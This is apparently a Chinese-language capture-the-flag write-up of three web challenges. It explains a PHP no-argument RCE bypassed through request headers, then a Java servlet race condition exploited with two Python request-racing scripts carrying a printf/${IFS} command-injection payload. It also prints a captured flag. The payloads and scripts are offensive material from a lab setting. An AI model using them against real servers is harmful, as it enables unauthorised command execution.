Web

tls_new_web1

阅读代码发现是无参数RCE,并且过滤了大多数的php函数

  1. <?php
  2. highlight_file(__FILE__);
  3. $exp = $_GET['exp'];
  4. //php7.3 + Apache
  5. if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $exp)) {
  6. if(!preg_match("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na|en|ex|et|na|dec|true|false|[0-9]/i", $exp)){
  7. eval($exp);
  8. }else{
  9. exit('NoNoNo,U R Hacker~');
  10. }
  11. }else{
  12. exit("What's this?");
  13. }
  14. What's this?

题目中提示 php7.3 + Apache 故可以使用apache_request_headers()函数进行绕过

使用array_shift()函数,die()函数,进行输出显示
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。
图片1.png
发现其回显了HOST的IP地址,所以可以在host行插入命令对文件进行读取
图片2.png
挨个目录寻找最终得到flag
图片3.png
图片4.png

flag{ee3ab774-9be9-11eb-9f52-2c16dba1fec7}

tls_new_web2

下载附件得到源码,看到在方法外定义的isok变量,然后没有任何防止线程安全的操作就知道是servlet线程安全问题

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

@WebServlet("/test")
public class Test extends HttpServlet {
    public int isok;

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse response) throws ServletException, IOException {
        isok=1;
        String cmd = req.getParameter("cmd");
        if(cmd==null){
            response.getWriter().write("please input  get cmd");
        }
        String status = req.getParameter("status");
        if(status.equals("isok")){
            isok=0;
            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }

        if(isok==0){
            return;
        }
        if(status.equals("isok")){
            try {
                response.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(response, new Object[]{new Integer(200)});
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            } catch (InvocationTargetException e) {
                e.printStackTrace();
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            }

            Pattern p = Pattern.compile("\\$\\(printf .*?\\)");
            Matcher m = p.matcher(cmd);
            boolean b = m.matches();
            if(b){
//                response.getWriter().write(cmd);
                String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
                byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();

                response.getOutputStream().write(result);
                response.getOutputStream().flush();
                response.getOutputStream().close();
            }

        }else{
            response.getWriter().write("no no no~");
        }
    }
}

status传递的参数中既要包含isok又不能包含isok所以我们需要俩个不同的请求进行条件竞争,最后在这里可以进行命令注入

String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
response.getOutputStream().write(result);

1.py

import requests
#$(printf ${IFS}ls)
#$(printf ${IFS}env)
#$(printf ${IFS}ls);
(cat /flag)payload="$(printf ${IFS}ls);(cat /flag)"
url=f"http://82.156.76.166:8083/test?status=isok&cmd={payload}"
while True:
  contents=requests.get(url) 
  print(contents.text)   
  if "flag" in contents.text:     
      print(contents.text)     
      break

2.py

import requests
url="http://82.156.76.166:8083/test?status=iserror"
while True: 
  contents=requests.get(url)  
  print(contents.text)   
  if "flag" in contents.text:      
      print(contents.text)      
      break

最后的命令注入有个细节就是不能让注入的命令报错,起初做的时候使用的命令是$(printf $(cat /flag)),虽然在本地可以正常执行但是因为报错不能在靶机上使用成功,最后使用;来链接命令成功执行拿到flag

#$(printf ${IFS}ls)
#$(printf ${IFS}env)
#$(printf ${IFS}ls);(cat /flag)

tls_new_web3

给到了Hint如下:
1. thinkphp RCE
2. 反序列化
3. 文件包含
首先第一个Hint,ThinkPHPRCE,那很容易会想到框架本身的RCE,通过报错页面也能看到框架版本,然后工具一顿梭哈就行了。